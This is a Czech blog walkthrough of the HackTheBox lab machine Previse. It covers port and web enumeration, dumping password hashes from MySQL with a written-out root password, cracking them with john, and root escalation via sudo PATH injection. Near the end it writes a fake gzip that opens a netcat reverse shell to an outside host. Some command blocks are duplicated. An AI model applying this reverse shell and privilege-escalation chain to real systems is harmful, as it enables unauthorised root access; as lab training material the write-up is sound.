tom@home.htb:~$

Blog o HTB

31 December 2020

Previse

Úvod a kontext

Na Previse je nejzajímavější, jak se propojí sudo pravidla, webová aplikace v PHP a Apache.

Bez pochopení této návaznosti by nedával smysl ani stabilní uživatelský přístup opřený o login.php a accounts.php, ani závěrečná příliš široká sudo oprávnění.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT   STATE SERVICE VERSION

Detailní analýza služeb

V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerace webu

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
[19:30:21] Starting:
[19:30:35] 302 -    4KB - /accounts.php  ->  login.php
[19:30:43] 200 -    0B  - /config.php
[19:30:44] 301 -  310B  - /css  ->  http://10.10.11.104/css/     (Added to queue)
[19:30:46] 302 -    0B  - /download.php  ->  login.php
[19:30:47] 200 -   15KB - /favicon.ico
[19:30:47] 302 -    5KB - /files.php  ->  login.php
[19:30:48] 200 -  980B  - /header.php
[19:30:49] 302 -    3KB - /index.php/login/  ->  login.php
[19:30:49] 302 -    3KB - /index.php  ->  login.php
[19:30:50] 301 -  309B  - /js  ->  http://10.10.11.104/js/     (Added to queue)
[19:30:50] 200 -    1KB - /js/
[19:30:51] 200 -    2KB - /login.php
[19:30:51] 302 -    0B  - /logout.php  ->  login.php
[19:30:59] 302 -    3KB - /status.php  ->  login.php

Task Completed

Analýza zjištění

Lámání hesel nebo hashů

Hash nebo zašifrovaný artefakt má smysl lámat jen tehdy, pokud může otevřít další službu, účet nebo vrstvu prostředí; právě to zde ověřuji.

sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

$ mysql -u root -pmySQL_p@ssw0rd\!:\) -e "select * from accounts" previse
id      username        password        created_at
1       m4lwhere        $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.        2021-05-27 18:18:36
2       admin   $1$🧂llol$uXqzPW6SXUONt.AIOBqLy.        2021-10-28 17:33:14
3       thacker $1$🧂llol$hNd7SbLrW/OGhQLvb1kVW1        2021-10-28 17:38:00

$ john --format=crypt hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
=> ilovecody112235! (m4lwhere)

$ cat user.txt
__CENSORED__

$ sudo -l
    (root) /opt/scripts/access_backup.sh

$ cat /opt/scripts/access_backup.sh
#!/bin/bash

Získání přístupu

Získání user flagu

User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.

Následující úsek zachycuje přechod k uživatelskému přístupu a jeho ověření přes user.txt.


$ mysql -u root -pmySQL_p@ssw0rd\!:\) -e "select * from accounts" previse
id      username        password        created_at
1       m4lwhere        $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.        2021-05-27 18:18:36
2       admin   $1$🧂llol$uXqzPW6SXUONt.AIOBqLy.        2021-10-28 17:33:14
3       thacker $1$🧂llol$hNd7SbLrW/OGhQLvb1kVW1        2021-10-28 17:38:00

$ john --format=crypt hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
=> ilovecody112235! (m4lwhere)

$ cat user.txt
5d3dad0807b57c686934abf0008c9127

$ sudo -l
    (root) /opt/scripts/access_backup.sh

Eskalace oprávnění

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

Následující úsek zachycuje i postup, kterým se potvrzuje privilegovaný přístup a načtení root.txt.

This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

# Path injection pres gzip
cd /tmp
echo "nc 10.10.14.11 4000 -e /bin/bash" > gzip
chmod +x gzip
export PATH=/tmp:$PATH

$ sudo /opt/scripts/access_backup.sh

$ cat root.txt
b3adb6039f4cc0d8572dedd2d2817ce3

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - rce - ssh - sudo - php - exploit